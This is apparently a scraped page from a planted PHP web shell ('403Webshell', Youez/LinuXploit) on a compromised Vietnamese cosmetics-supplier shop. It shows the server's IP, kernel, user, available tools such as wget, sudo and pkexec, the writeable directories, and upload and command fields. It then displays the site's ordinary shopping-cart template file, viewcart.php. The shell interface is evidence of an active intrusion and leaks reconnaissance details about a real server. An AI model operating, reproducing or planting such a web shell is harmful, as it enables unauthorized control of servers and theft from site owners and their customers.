403Webshell
Server IP : 103.48.194.25  /  Your IP : 216.73.216.182
Web Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.33
System : Linux VMHostDefault 3.10.0-1160.42.2.el7.x86_64 #1 SMP Tue Sep 7 14:49:57 UTC 2021 x86_64
User : sieuthimay ( 1016)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/nguyenlieumyphamgiasi.vn/public_html/site/components/sanpham/views/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/nguyenlieumyphamgiasi.vn/public_html/site/components/sanpham/views/viewcart.php
<style type="text/css">
.subtotla {}
.tongphu {}
.tongcong {}
</style>
<div id="content" class="content-area page-wrapper" role="main">
    <div class="row row-main">
        <div class="large-12 col">
            <div class="col-inner">
                <div class="woocommerce">
                    <div class="woocommerce row">
                        <?
					if($cart){
					?>
                        <form action="<?=site?>gio-hang/" method="post" class="col col-divided large-8 pb-0">
                            <div class="cart-wrapper sm-touch-scroll">
                                <table class="shop_table shop_table_responsive cart" cellspacing="0">
                                    <thead>
                                        <tr>
                                            <th class="product-name" colspan="3">Sản phẩm</th>
                                            <th class="product-price">Giá</th>
                                            <th class="product-quantity">Số lượng</th>
                                            <th class="product-subtotal">Tổng cộng</th>
                                        </tr>
                                    </thead>
                                    <?php
									$i = 0;
									$total = 0;
									$tongphu = 0 ;
									foreach ($cart as $rs) : 
										$link = site.'san-pham/'.alias($rs['pro_name']).'-'.$rs['proid'].'.html';
										$subtotal = $rs['nb_order']*$rs['pro_price'] ;
										$tongphu = $tongphu + $subtotal ;
										$total = $total + $subtotal;
									?>
                                    <tbody>
                                        <tr class="cart_item">
                                            <td class="product-remove">
                                            <a href="<?=site?>ajax/removecart/<?=$i?>/<?=$rs['proid']?>" class="remove" title="Xóa sản phẩm" data-product_id="494">×</a></td>
                                            <td class="product-thumbnail"><a href="<?=$link?>" target="_blank" title="<?=$rs['pro_name']?>">
                                            	<img width="114" src="<?=urlimg?>products/100/<?=$rs['pro_img']?>" alt="<?=$rs['pro_name']?>"></a></td>
                                            <td class="product-name" data-title="Sản phẩm"><a href="<?=$link?>" title="<?=$rs['pro_name']?>" target="_blank"><?=$rs['pro_name']?></a></td>
                                            <td class="product-price" data-title="Giá"><span class="amount"><?=pricevn($rs['pro_price'])?></span></td>
                                            <td class="product-quantity" data-title="Số lượng"><div class="quantity buttons_added">
                                                    <input type="number" name="soluong[<?=$rs['proid']?>]" value="<?=$rs['nb_order']?>" title="Số lượng"size="4">
                                                </div></td>
                                            <td class="product-subtotal" data-title="Tổng cộng"><span class="subtotal amount"><?=pricevn($subtotal)?></span></td>
                                        </tr>
                                    </tbody>
                                    <? 
									$i++;
									endforeach ;?>
                                    <tr>
                                        <td colspan="6" class="actions clear"><div class="continue-shopping pull-left hide-for-small text-left mr-half"> <a class="button-continue-shopping button primary is-outline" href="<?=site?>san-pham/"> ← Tiếp tục mua hàng </a> </div>
                                            <input type="submit" class="button primary mt-0 pull-left small" name="update_cart" value="Cập nhật Giỏ hàng">
                                            <input type="hidden" id="_wpnonce" name="_wpnonce" value="48a97028ea">
                                            <input type="hidden" name="_wp_http_referer" value="/gio-hang/"></td>
                                    </tr>
                                </table>
                            </div>
                        </form>
                        <div class="cart-collaterals large-4 col pb-0">
                            <div class="cart-sidebar">
                                <div class="cart_totals ">
                                    <table cellspacing="0">
                                        <thead>
                                            <tr>
                                                <th class="product-name" colspan="2" style="border-width:3px;">Tổng giỏ hàng</th>
                                            </tr>
                                        </thead>
                                    </table>
                                    <h2>Tổng giỏ hàng</h2>
                                    <table cellspacing="0" class="shop_table shop_table_responsive">
                                        <tbody>
                                            <tr class="cart-subtotal">
                                                <th>Tổng phụ</th>
                                                <td data-title="Tổng phụ"><span class="tongphu amount"><?=pricevn($tongphu)?></span></td>
                                            </tr>
                                            <tr class="order-total">
                                                <th>Tổng cộng</th>
                                                <td data-title="Tổng cộng"><strong><span class="total amount"><?=pricevn($total)?></span></strong></td>
                                            </tr>
                                        </tbody>
                                    </table>
                                    <div class="wc-proceed-to-checkout"> <a href="<?=site?>thanh-toan.html" class="checkout-button button alt wc-forward"> Thanh toán</a> </div>
                                </div>
                            </div>
                        </div>
					<? 
					}
				   else
				   {
					?>
                        <div class="large-12 col">
                            <div class="col-inner">
                                <div class="woocommerce">
                                    <div class="text-center pt pb">
                                        <p class="cart-empty lead"> Chưa có sản phẩm nào trong giỏ hàng. </p>
                                        <p class="return-to-shop"> <a class="button primary wc-backward" href="<?=site?>san-pham.html"> Quay lại cửa hàng </a> </p>
                                    </div>
                                </div>
                            </div>
                            <!-- .col-inner --> 
                        </div>
					<? } ?>
                    </div>
                    <div class="cart-footer-content after-cart-content relative"></div>
                </div>
            </div>
            <!-- .col-inner --> 
        </div>
        <!-- .large-12 --> 
    </div>
    <!-- .row --> 
</div>

Youez - 2016 - github.com/yon3zu
LinuXploit